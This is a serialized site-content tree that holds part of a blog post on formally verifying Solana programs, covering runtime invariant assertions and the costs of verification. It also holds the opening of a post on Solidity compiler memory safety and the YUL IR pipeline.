{"type":28,"value":18268},{"type":23,"tag":481,"props":25632,"children":25633},{"class":483,"line":825},[25634,25639,25643],{"type":23,"tag":481,"props":25635,"children":25636},{"style":525},[25637],{"type":28,"value":25638},"#[invariant(bad ",{"type":23,"tag":481,"props":25640,"children":25641},{"style":514},[25642],{"type":28,"value":6055},{"type":23,"tag":481,"props":25644,"children":25645},{"style":525},[25646],{"type":28,"value":25647}," false)]\n",{"type":23,"tag":481,"props":25649,"children":25650},{"class":483,"line":843},[25651,25655,25660],{"type":23,"tag":481,"props":25652,"children":25653},{"style":497},[25654],{"type":28,"value":6884},{"type":23,"tag":481,"props":25656,"children":25657},{"style":943},[25658],{"type":28,"value":25659}," Acc",{"type":23,"tag":481,"props":25661,"children":25662},{"style":525},[25663],{"type":28,"value":809},{"type":23,"tag":481,"props":25665,"children":25666},{"class":483,"line":864},[25667,25671,25676,25680],{"type":23,"tag":481,"props":25668,"children":25669},{"style":497},[25670],{"type":28,"value":18341},{"type":23,"tag":481,"props":25672,"children":25673},{"style":508},[25674],{"type":28,"value":25675}," bad",{"type":23,"tag":481,"props":25677,"children":25678},{"style":514},[25679],{"type":28,"value":287},{"type":23,"tag":481,"props":25681,"children":25682},{"style":943},[25683],{"type":28,"value":25684}," bool\n",{"type":23,"tag":481,"props":25686,"children":25687},{"class":483,"line":873},[25688],{"type":23,"tag":481,"props":25689,"children":25690},{"style":525},[25691],{"type":28,"value":1443},{"type":23,"tag":481,"props":25693,"children":25694},{"class":483,"line":1125},[25695],{"type":23,"tag":481,"props":25696,"children":25697},{"emptyLinePlaceholder":15},[25698],{"type":28,"value":1210},{"type":23,"tag":481,"props":25700,"children":25701},{"class":483,"line":1142},[25702,25707,25711],{"type":23,"tag":481,"props":25703,"children":25704},{"style":497},[25705],{"type":28,"value":25706},"impl",{"type":23,"tag":481,"props":25708,"children":25709},{"style":943},[25710],{"type":28,"value":25659},{"type":23,"tag":481,"props":25712,"children":25713},{"style":525},[25714],{"type":28,"value":809},{"type":23,"tag":481,"props":25716,"children":25717},{"class":483,"line":1159},[25718,25722,25726,25731],{"type":23,"tag":481,"props":25719,"children":25720},{"style":497},[25721],{"type":28,"value":18341},{"type":23,"tag":481,"props":25723,"children":25724},{"style":497},[25725],{"type":28,"value":11183},{"type":23,"tag":481,"props":25727,"children":25728},{"style":610},[25729],{"type":28,"value":25730}," put_into_bad_state",{"type":23,"tag":481,"props":25732,"children":25733},{"style":525},[25734],{"type":28,"value":13226},{"type":23,"tag":481,"props":25736,"children":25737},{"class":483,"line":1172},[25738,25742,25746,25751,25755,25759],{"type":23,"tag":481,"props":25739,"children":25740},{"style":497},[25741],{"type":28,"value":24871},{"type":23,"tag":481,"props":25743,"children":25744},{"style":514},[25745],{"type":28,"value":199},{"type":23,"tag":481,"props":25747,"children":25748},{"style":525},[25749],{"type":28,"value":25750},"bad ",{"type":23,"tag":481,"props":25752,"children":25753},{"style":514},[25754],{"type":28,"value":603},{"type":23,"tag":481,"props":25756,"children":25757},{"style":497},[25758],{"type":28,"value":9956},{"type":23,"tag":481,"props":25760,"children":25761},{"style":525},[25762],{"type":28,"value":528},{"type":23,"tag":481,"props":25764,"children":25765},{"class":483,"line":1181},[25766],{"type":23,"tag":481,"props":25767,"children":25768},{"style":525},[25769],{"type":28,"value":879},{"type":23,"tag":481,"props":25771,"children":25772},{"class":483,"line":1204},[25773],{"type":23,"tag":481,"props":25774,"children":25775},{"style":525},[25776],{"type":28,"value":1443},{"type":23,"tag":481,"props":25778,"children":25779},{"class":483,"line":1213},[25780],{"type":23,"tag":481,"props":25781,"children":25782},{"emptyLinePlaceholder":15},[25783],{"type":28,"value":1210},{"type":23,"tag":481,"props":25785,"children":25786},{"class":483,"line":1222},[25787],{"type":23,"tag":481,"props":25788,"children":25789},{"style":488},[25790],{"type":28,"value":25791},"// Instruction handler:\n",{"type":23,"tag":481,"props":25793,"children":25794},{"class":483,"line":1291},[25795,25799,25804,25808,25812,25816,25820,25824,25829,25833,25837,25841],{"type":23,"tag":481,"props":25796,"children":25797},{"style":497},[25798],{"type":28,"value":17764},{"type":23,"tag":481,"props":25800,"children":25801},{"style":610},[25802],{"type":28,"value":25803}," hard_to_verify",{"type":23,"tag":481,"props":25805,"children":25806},{"style":525},[25807],{"type":28,"value":618},{"type":23,"tag":481,"props":25809,"children":25810},{"style":508},[25811],{"type":28,"value":17778},{"type":23,"tag":481,"props":25813,"children":25814},{"style":514},[25815],{"type":28,"value":287},{"type":23,"tag":481,"props":25817,"children":25818},{"style":943},[25819],{"type":28,"value":17787},{"type":23,"tag":481,"props":25821,"children":25822},{"style":525},[25823],{"type":28,"value":3282},{"type":23,"tag":481,"props":25825,"children":25826},{"style":943},[25827],{"type":28,"value":25828},"MyCtx",{"type":23,"tag":481,"props":25830,"children":25831},{"style":525},[25832],{"type":28,"value":17944},{"type":23,"tag":481,"props":25834,"children":25835},{"style":514},[25836],{"type":28,"value":11245},{"type":23,"tag":481,"props":25838,"children":25839},{"style":943},[25840],{"type":28,"value":11250},{"type":23,"tag":481,"props":25842,"children":25843},{"style":525},[25844],{"type":28,"value":17829},{"type":23,"tag":481,"props":25846,"children":25847},{"class":483,"line":1299},[25848,25853,25857,25861,25866],{"type":23,"tag":481,"props":25849,"children":25850},{"style":610},[25851],{"type":28,"value":25852}," invoke_signed",{"type":23,"tag":481,"props":25854,"children":25855},{"style":525},[25856],{"type":28,"value":618},{"type":23,"tag":481,"props":25858,"children":25859},{"style":514},[25860],{"type":28,"value":7074},{"type":23,"tag":481,"props":25862,"children":25863},{"style":525},[25864],{"type":28,"value":25865},"); ",{"type":23,"tag":481,"props":25867,"children":25868},{"style":488},[25869],{"type":28,"value":25870},"// Cross-program invocation\n",{"type":23,"tag":481,"props":25872,"children":25873},{"class":483,"line":1329},[25874],{"type":23,"tag":481,"props":25875,"children":25876},{"emptyLinePlaceholder":15},[25877],{"type":28,"value":1210},{"type":23,"tag":481,"props":25879,"children":25880},{"class":483,"line":1337},[25881,25885,25890,25894,25898,25902],{"type":23,"tag":481,"props":25882,"children":25883},{"style":497},[25884],{"type":28,"value":500},{"type":23,"tag":481,"props":25886,"children":25887},{"style":508},[25888],{"type":28,"value":25889}," invoke_res",{"type":23,"tag":481,"props":25891,"children":25892},{"style":514},[25893],{"type":28,"value":517},{"type":23,"tag":481,"props":25895,"children":25896},{"style":514},[25897],{"type":28,"value":22810},{"type":23,"tag":481,"props":25899,"children":25900},{"style":525},[25901],{"type":28,"value":14719},{"type":23,"tag":481,"props":25903,"children":25904},{"style":488},[25905],{"type":28,"value":25906},"// fetch result of invocation\n",{"type":23,"tag":481,"props":25908,"children":25909},{"class":483,"line":1369},[25910,25914,25918,25922,25927],{"type":23,"tag":481,"props":25911,"children":25912},{"style":535},[25913],{"type":28,"value":9766},{"type":23,"tag":481,"props":25915,"children":25916},{"style":508},[25917],{"type":28,"value":25889},{"type":23,"tag":481,"props":25919,"children":25920},{"style":514},[25921],{"type":28,"value":800},{"type":23,"tag":481,"props":25923,"children":25924},{"style":551},[25925],{"type":28,"value":25926}," 5",{"type":23,"tag":481,"props":25928,"children":25929},{"style":525},[25930],{"type":28,"value":809},{"type":23,"tag":481,"props":25932,"children":25933},{"class":483,"line":1377},[25934,25938,25942,25947,25951,25956,25961],{"type":23,"tag":481,"props":25935,"children":25936},{"style":508},[25937],{"type":28,"value":23697},{"type":23,"tag":481,"props":25939,"children":25940},{"style":514},[25941],{"type":28,"value":199},{"type":23,"tag":481,"props":25943,"children":25944},{"style":525},[25945],{"type":28,"value":25946},"my_account",{"type":23,"tag":481,"props":25948,"children":25949},{"style":514},[25950],{"type":28,"value":199},{"type":23,"tag":481,"props":25952,"children":25953},{"style":610},[25954],{"type":28,"value":25955},"put_into_bad_state",{"type":23,"tag":481,"props":25957,"children":25958},{"style":525},[25959],{"type":28,"value":25960},"(); ",{"type":23,"tag":481,"props":25962,"children":25963},{"style":488},[25964],{"type":28,"value":25965},"// corrupt our account\n",{"type":23,"tag":481,"props":25967,"children":25968},{"class":483,"line":1437},[25969],{"type":23,"tag":481,"props":25970,"children":25971},{"style":525},[25972],{"type":28,"value":879},{"type":23,"tag":481,"props":25974,"children":25975},{"class":483,"line":6528},[25976,25980],{"type":23,"tag":481,"props":25977,"children":25978},{"style":943},[25979],{"type":28,"value":11821},{"type":23,"tag":481,"props":25981,"children":25982},{"style":525},[25983],{"type":28,"value":11826},{"type":23,"tag":481,"props":25985,"children":25986},{"class":483,"line":6546},[25987],{"type":23,"tag":481,"props":25988,"children":25989},{"style":525},[25990],{"type":28,"value":1443},{"type":23,"tag":24,"props":25992,"children":25993},{},[25994,25996,26001],{"type":28,"value":25995},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":23,"tag":64,"props":25997,"children":25999},{"className":25998},[],[26000],{"type":28,"value":25946},{"type":28,"value":26002},") will be maintained as long as the instruction succeeds.",{"type":23,"tag":24,"props":26004,"children":26005},{},[26006],{"type":28,"value":26007},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":23,"tag":24,"props":26009,"children":26010},{},[26011,26013,26018],{"type":28,"value":26012},"However, we can ",{"type":23,"tag":127,"props":26014,"children":26015},{},[26016],{"type":28,"value":26017},"augment",{"type":28,"value":26019}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":23,"tag":24,"props":26021,"children":26022},{},[26023],{"type":28,"value":26024},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":23,"tag":435,"props":26026,"children":26028},{"code":26027,"language":474,"meta":7,"className":475,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[26029],{"type":23,"tag":64,"props":26030,"children":26031},{"__ignoreMap":7},[26032,26040,26091,26114,26121,26148,26171,26202,26209,26216,26224,26259,26266,26277],{"type":23,"tag":481,"props":26033,"children":26034},{"class":483,"line":484},[26035],{"type":23,"tag":481,"props":26036,"children":26037},{"style":514},[26038],{"type":28,"value":26039},"...\n",{"type":23,"tag":481,"props":26041,"children":26042},{"class":483,"line":351},[26043,26047,26051,26055,26059,26063,26067,26071,26075,26079,26083,26087],{"type":23,"tag":481,"props":26044,"children":26045},{"style":497},[26046],{"type":28,"value":17764},{"type":23,"tag":481,"props":26048,"children":26049},{"style":610},[26050],{"type":28,"value":25803},{"type":23,"tag":481,"props":26052,"children":26053},{"style":525},[26054],{"type":28,"value":618},{"type":23,"tag":481,"props":26056,"children":26057},{"style":508},[26058],{"type":28,"value":17778},{"type":23,"tag":481,"props":26060,"children":26061},{"style":514},[26062],{"type":28,"value":287},{"type":23,"tag":481,"props":26064,"children":26065},{"style":943},[26066],{"type":28,"value":17787},{"type":23,"tag":481,"props":26068,"children":26069},{"style":525},[26070],{"type":28,"value":3282},{"type":23,"tag":481,"props":26072,"children":26073},{"style":943},[26074],{"type":28,"value":25828},{"type":23,"tag":481,"props":26076,"children":26077},{"style":525},[26078],{"type":28,"value":17944},{"type":23,"tag":481,"props":26080,"children":26081},{"style":514},[26082],{"type":28,"value":11245},{"type":23,"tag":481,"props":26084,"children":26085},{"style":943},[26086],{"type":28,"value":11250},{"type":23,"tag":481,"props":26088,"children":26089},{"style":525},[26090],{"type":28,"value":17829},{"type":23,"tag":481,"props":26092,"children":26093},{"class":483,"line":531},[26094,26098,26102,26106,26110],{"type":23,"tag":481,"props":26095,"children":26096},{"style":610},[26097],{"type":28,"value":25852},{"type":23,"tag":481,"props":26099,"children":26100},{"style":525},[26101],{"type":28,"value":618},{"type":23,"tag":481,"props":26103,"children":26104},{"style":514},[26105],{"type":28,"value":7074},{"type":23,"tag":481,"props":26107,"children":26108},{"style":525},[26109],{"type":28,"value":25865},{"type":23,"tag":481,"props":26111,"children":26112},{"style":488},[26113],{"type":28,"value":25870},{"type":23,"tag":481,"props":26115,"children":26116},{"class":483,"line":567},[26117],{"type":23,"tag":481,"props":26118,"children":26119},{"emptyLinePlaceholder":15},[26120],{"type":28,"value":1210},{"type":23,"tag":481,"props":26122,"children":26123},{"class":483,"line":678},[26124,26128,26132,26136,26140,26144],{"type":23,"tag":481,"props":26125,"children":26126},{"style":497},[26127],{"type":28,"value":500},{"type":23,"tag":481,"props":26129,"children":26130},{"style":508},[26131],{"type":28,"value":25889},{"type":23,"tag":481,"props":26133,"children":26134},{"style":514},[26135],{"type":28,"value":517},{"type":23,"tag":481,"props":26137,"children":26138},{"style":514},[26139],{"type":28,"value":22810},{"type":23,"tag":481,"props":26141,"children":26142},{"style":525},[26143],{"type":28,"value":14719},{"type":23,"tag":481,"props":26145,"children":26146},{"style":488},[26147],{"type":28,"value":25906},{"type":23,"tag":481,"props":26149,"children":26150},{"class":483,"line":784},[26151,26155,26159,26163,26167],{"type":23,"tag":481,"props":26152,"children":26153},{"style":535},[26154],{"type":28,"value":9766},{"type":23,"tag":481,"props":26156,"children":26157},{"style":508},[26158],{"type":28,"value":25889},{"type":23,"tag":481,"props":26160,"children":26161},{"style":514},[26162],{"type":28,"value":800},{"type":23,"tag":481,"props":26164,"children":26165},{"style":551},[26166],{"type":28,"value":25926},{"type":23,"tag":481,"props":26168,"children":26169},{"style":525},[26170],{"type":28,"value":809},{"type":23,"tag":481,"props":26172,"children":26173},{"class":483,"line":812},[26174,26178,26182,26186,26190,26194,26198],{"type":23,"tag":481,"props":26175,"children":26176},{"style":508},[26177],{"type":28,"value":23697},{"type":23,"tag":481,"props":26179,"children":26180},{"style":514},[26181],{"type":28,"value":199},{"type":23,"tag":481,"props":26183,"children":26184},{"style":525},[26185],{"type":28,"value":25946},{"type":23,"tag":481,"props":26187,"children":26188},{"style":514},[26189],{"type":28,"value":199},{"type":23,"tag":481,"props":26191,"children":26192},{"style":610},[26193],{"type":28,"value":25955},{"type":23,"tag":481,"props":26195,"children":26196},{"style":525},[26197],{"type":28,"value":25960},{"type":23,"tag":481,"props":26199,"children":26200},{"style":488},[26201],{"type":28,"value":25965},{"type":23,"tag":481,"props":26203,"children":26204},{"class":483,"line":825},[26205],{"type":23,"tag":481,"props":26206,"children":26207},{"style":525},[26208],{"type":28,"value":879},{"type":23,"tag":481,"props":26210,"children":26211},{"class":483,"line":843},[26212],{"type":23,"tag":481,"props":26213,"children":26214},{"emptyLinePlaceholder":15},[26215],{"type":28,"value":1210},{"type":23,"tag":481,"props":26217,"children":26218},{"class":483,"line":864},[26219],{"type":23,"tag":481,"props":26220,"children":26221},{"style":488},[26222],{"type":28,"value":26223}," // Enforce invariants at runtime\n",{"type":23,"tag":481,"props":26225,"children":26226},{"class":483,"line":873},[26227,26231,26235,26239,26243,26247,26251,26255],{"type":23,"tag":481,"props":26228,"children":26229},{"style":610},[26230],{"type":28,"value":16736},{"type":23,"tag":481,"props":26232,"children":26233},{"style":525},[26234],{"type":28,"value":618},{"type":23,"tag":481,"props":26236,"children":26237},{"style":508},[26238],{"type":28,"value":17778},{"type":23,"tag":481,"props":26240,"children":26241},{"style":514},[26242],{"type":28,"value":199},{"type":23,"tag":481,"props":26244,"children":26245},{"style":525},[26246],{"type":28,"value":25946},{"type":23,"tag":481,"props":26248,"children":26249},{"style":514},[26250],{"type":28,"value":199},{"type":23,"tag":481,"props":26252,"children":26253},{"style":610},[26254],{"type":28,"value":19276},{"type":23,"tag":481,"props":26256,"children":26257},{"style":525},[26258],{"type":28,"value":12914},{"type":23,"tag":481,"props":26260,"children":26261},{"class":483,"line":1125},[26262],{"type":23,"tag":481,"props":26263,"children":26264},{"emptyLinePlaceholder":15},[26265],{"type":28,"value":1210},{"type":23,"tag":481,"props":26267,"children":26268},{"class":483,"line":1142},[26269,26273],{"type":23,"tag":481,"props":26270,"children":26271},{"style":943},[26272],{"type":28,"value":11821},{"type":23,"tag":481,"props":26274,"children":26275},{"style":525},[26276],{"type":28,"value":11826},{"type":23,"tag":481,"props":26278,"children":26279},{"class":483,"line":1159},[26280],{"type":23,"tag":481,"props":26281,"children":26282},{"style":525},[26283],{"type":28,"value":1443},{"type":23,"tag":24,"props":26285,"children":26286},{},[26287,26289,26294,26296,26301,26303,26308],{"type":28,"value":26288},"Here, we explicitly ",{"type":23,"tag":64,"props":26290,"children":26292},{"className":26291},[],[26293],{"type":28,"value":17481},{"type":28,"value":26295}," that our invariants hold at ",{"type":23,"tag":127,"props":26297,"children":26298},{},[26299],{"type":28,"value":26300},"runtime",{"type":28,"value":26302}," which allows us to be assured that ",{"type":23,"tag":64,"props":26304,"children":26306},{"className":26305},[],[26307],{"type":28,"value":25946},{"type":28,"value":26309}," will not enter a bad state as a result of some unverifiable behavior.",{"type":23,"tag":24,"props":26311,"children":26312},{},[26313],{"type":28,"value":26314},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":23,"tag":31,"props":26316,"children":26318},{"id":26317},"challenges-of-formal-verification-on-solana",[26319],{"type":28,"value":26320},"Challenges of formal verification on Solana",{"type":23,"tag":7092,"props":26322,"children":26324},{"id":26323},"expensive-computation",[26325],{"type":28,"value":26326},"Expensive computation",{"type":23,"tag":24,"props":26328,"children":26329},{},[26330,26332,26337],{"type":28,"value":26331},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":23,"tag":127,"props":26333,"children":26334},{},[26335],{"type":28,"value":26336},"path explosion",{"type":28,"value":26338},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":23,"tag":24,"props":26340,"children":26341},{},[26342,26344,26349],{"type":28,"value":26343},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":23,"tag":127,"props":26345,"children":26346},{},[26347],{"type":28,"value":26348},"formal verification friendly",{"type":28,"value":26350},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":23,"tag":24,"props":26352,"children":26353},{},[26354,26356,26361,26363,26368],{"type":28,"value":26355},"For example, when verifying things like the uniqueness of a ",{"type":23,"tag":64,"props":26357,"children":26359},{"className":26358},[],[26360],{"type":28,"value":18896},{"type":28,"value":26362}," in a ",{"type":23,"tag":64,"props":26364,"children":26366},{"className":26365},[],[26367],{"type":28,"value":14703},{"type":28,"value":26369},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":23,"tag":24,"props":26371,"children":26372},{},[26373,26375,26380,26382,26387,26389,26394,26396,26401,26403,26408,26410,26415],{"type":28,"value":26374},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":23,"tag":64,"props":26376,"children":26378},{"className":26377},[],[26379],{"type":28,"value":14703},{"type":28,"value":26381}," or a 32-byte ",{"type":23,"tag":64,"props":26383,"children":26385},{"className":26384},[],[26386],{"type":28,"value":18896},{"type":28,"value":26388},". Instead, our tool can substitute in ",{"type":23,"tag":127,"props":26390,"children":26391},{},[26392],{"type":28,"value":26393},"cheaper",{"type":28,"value":26395}," types and functions, such as a 4-byte ",{"type":23,"tag":64,"props":26397,"children":26399},{"className":26398},[],[26400],{"type":28,"value":18896},{"type":28,"value":26402}," struct and a fixed-size, array-backed ",{"type":23,"tag":64,"props":26404,"children":26406},{"className":26405},[],[26407],{"type":28,"value":14703},{"type":28,"value":26409}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":23,"tag":127,"props":26411,"children":26412},{},[26413],{"type":28,"value":26414},"much",{"type":28,"value":26416}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":23,"tag":24,"props":26418,"children":26419},{},[26420],{"type":28,"value":26421},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":23,"tag":7092,"props":26423,"children":26425},{"id":26424},"runtime-environment",[26426],{"type":28,"value":26427},"Runtime Environment",{"type":23,"tag":24,"props":26429,"children":26430},{},[26431],{"type":28,"value":26432},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":23,"tag":24,"props":26434,"children":26435},{},[26436],{"type":28,"value":26437},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":23,"tag":24,"props":26439,"children":26440},{},[26441],{"type":28,"value":26442},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":23,"tag":31,"props":26444,"children":26446},{"id":26445},"conclusion",[26447],{"type":28,"value":16443},{"type":23,"tag":24,"props":26449,"children":26450},{},[26451],{"type":28,"value":26452},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":23,"tag":24,"props":26454,"children":26455},{},[26456],{"type":28,"value":26457},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":23,"tag":16288,"props":26459,"children":26460},{},[],{"type":23,"tag":24,"props":26462,"children":26463},{},[26464],{"type":23,"tag":127,"props":26465,"children":26466},{},[26467,26469,26474,26475,26479],{"type":28,"value":26468},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":23,"tag":190,"props":26470,"children":26472},{"href":16371,"rel":26471},[194],[26473],{"type":28,"value":16375},{"type":28,"value":16377},{"type":23,"tag":190,"props":26476,"children":26477},{"href":16380},[26478],{"type":28,"value":16383},{"type":28,"value":199},{"type":23,"tag":2918,"props":26481,"children":26482},{},[26483],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":26485},[26486,26492,26496,26501,26507,26511],{"id":16446,"depth":351,"text":16449,"children":26487},[26488,26489,26490,26491],{"id":16452,"depth":531,"text":16455},{"id":16520,"depth":531,"text":16523},{"id":17401,"depth":531,"text":17404},{"id":17441,"depth":531,"text":17444},{"id":17494,"depth":351,"text":26493,"children":26494},"Specification: How can we describe what we want our program to do?",[26495],{"id":17608,"depth":531,"text":17611},{"id":18968,"depth":351,"text":18971,"children":26497},[26498,26499,26500],{"id":19645,"depth":531,"text":19648},{"id":19930,"depth":531,"text":19933},{"id":20074,"depth":531,"text":20077},{"id":20215,"depth":351,"text":20218,"children":26502},[26503,26504,26505,26506],{"id":20286,"depth":531,"text":20289},{"id":22149,"depth":531,"text":22152},{"id":22951,"depth":531,"text":20278},{"id":25477,"depth":531,"text":20283},{"id":26317,"depth":351,"text":26320,"children":26508},[26509,26510],{"id":26323,"depth":531,"text":26326},{"id":26424,"depth":531,"text":26427},{"id":26445,"depth":351,"text":16443},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":26516,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":26517,"description":26518,"author":3195,"image":26519,"date":26521,"isFeatured":15,"onBlogPage":15,"tags":26522,"body":26524,"_type":358,"_id":27944,"_source":360,"_file":27945,"_stem":27946,"_extension":363},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":26520,"height":11111,"width":11111},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[2023,26523],"compiler",{"type":20,"children":26525,"toc":27935},[26526,26532,26568,26580,26586,26608,26621,26769,26790,26795,26816,26821,26829,26834,26839,26844,26850,26869,26874,26895,26958,26971,27001,27021,27048,27053,27066,27071,27076,27089,27120,27143,27297,27315,27366,27385,27410,27415,27421,27448,27468,27496,27501,27523,27542,27550,27561,27566,27582,27839,27847,27852,27856,27861,27866,27931],{"type":23,"tag":31,"props":26527,"children":26529},{"id":26528},"introduction",[26530],{"type":28,"value":26531},"Introduction",{"type":23,"tag":24,"props":26533,"children":26534},{},[26535,26537,26543,26544,26548,26550,26557,26559,26566],{"type":28,"value":26536},"What does ",{"type":23,"tag":64,"props":26538,"children":26540},{"className":26539},[],[26541],{"type":28,"value":26542},"memory-safe",{"type":28,"value":3935},{"type":23,"tag":127,"props":26545,"children":26546},{},[26547],{"type":28,"value":6771},{"type":28,"value":26549}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":23,"tag":190,"props":26551,"children":26554},{"href":26552,"rel":26553},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[194],[26555],{"type":28,"value":26556},"presents some requirements",{"type":28,"value":26558},", but is production code that ",{"type":23,"tag":190,"props":26560,"children":26563},{"href":26561,"rel":26562},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[194],[26564],{"type":28,"value":26565},"violates these requirements",{"type":28,"value":26567}," necessarily unsafe?",{"type":23,"tag":24,"props":26569,"children":26570},{},[26571,26573,26578],{"type":28,"value":26572},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":23,"tag":127,"props":26574,"children":26575},{},[26576],{"type":28,"value":26577},"memory-safety",{"type":28,"value":26579}," actually means.",{"type":23,"tag":31,"props":26581,"children":26583},{"id":26582},"compiler-pipeline",[26584],{"type":28,"value":26585},"Compiler Pipeline",{"type":23,"tag":24,"props":26587,"children":26588},{},[26589,26591,26598,26600,26607],{"type":28,"value":26590},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":23,"tag":190,"props":26592,"children":26595},{"href":26593,"rel":26594},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[194],[26596],{"type":28,"value":26597},"released in v0.8.13",{"type":28,"value":26599},". Compilation happens ",{"type":23,"tag":190,"props":26601,"children":26604},{"href":26602,"rel":26603},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[194],[26605],{"type":28,"value":26606},"in two main steps",{"type":28,"value":287},{"type":23,"tag":73,"props":26609,"children":26610},{},[26611,26616],{"type":23,"tag":77,"props":26612,"children":26613},{},[26614],{"type":28,"value":26615},"Solidity to YUL IR",{"type":23,"tag":77,"props":26617,"children":26618},{},[26619],{"type":28,"value":26620},"YUL IR to EVM opcodes",{"type":23,"tag":435,"props":26622,"children":26626},{"className":26623,"code":26624,"language":26625,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark"," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n","cpp",[26627],{"type":23,"tag":64,"props":26628,"children":26629},{"__ignoreMap":7},[26630,26660,26681,26693,26701,26713,26733,26741,26762],{"type":23,"tag":481,"props":26631,"children":26632},{"class":483,"line":484},[26633,26637,26642,26646,26651,26655],{"type":23,"tag":481,"props":26634,"children":26635},{"style":535},[26636],{"type":28,"value":9766},{"type":23,"tag":481,"props":26638,"children":26639},{"style":525},[26640],{"type":28,"value":26641}," (m_viaIR ",{"type":23,"tag":481,"props":26643,"children":26644},{"style":514},[26645],{"type":28,"value":19917},{"type":23,"tag":481,"props":26647,"children":26648},{"style":525},[26649],{"type":28,"value":26650}," m_generateIR ",{"type":23,"tag":481,"props":26652,"children":26653},{"style":514},[26654],{"type":28,"value":19917},{"type":23,"tag":481,"props":26656,"children":26657},{"style":525},[26658],{"type":28,"value":26659}," m_generateEwasm)\n",{"type":23,"tag":481,"props":26661,"children":26662},{"class":483,"line":351},[26663,26668,26672,26676],{"type":23,"tag":481,"props":26664,"children":26665},{"style":610},[26666],{"type":28,"value":26667}," generateIR",{"type":23,"tag":481,"props":26669,"children":26670},{"style":525},[26671],{"type":28,"value":618},{"type":23,"tag":481,"props":26673,"children":26674},{"style":514},[26675],{"type":28,"value":2120},{"type":23,"tag":481,"props":26677,"children":26678},{"style":525},[26679],{"type":28,"value":26680},"contract);\n",{"type":23,"tag":481,"props":26682,"children":26683},{"class":483,"line":531},[26684,26688],{"type":23,"tag":481,"props":26685,"children":26686},{"style":535},[26687],{"type":28,"value":9766},{"type":23,"tag":481,"props":26689,"children":26690},{"style":525},[26691],{"type":28,"value":26692}," (m_generateEvmBytecode)\n",{"type":23,"tag":481,"props":26694,"children":26695},{"class":483,"line":567},[26696],{"type":23,"tag":481,"props":26697,"children":26698},{"style":525},[26699],{"type":28,"value":26700}," {\n",{"type":23,"tag":481,"props":26702,"children":26703},{"class":483,"line":678},[26704,26708],{"type":23,"tag":481,"props":26705,"children":26706},{"style":535},[26707],{"type":28,"value":790},{"type":23,"tag":481,"props":26709,"children":26710},{"style":525},[26711],{"type":28,"value":26712}," (m_viaIR)\n",{"type":23,"tag":481,"props":26714,"children":26715},{"class":483,"line":784},[26716,26721,26725,26729],{"type":23,"tag":481,"props":26717,"children":26718},{"style":610},[26719],{"type":28,"value":26720}," 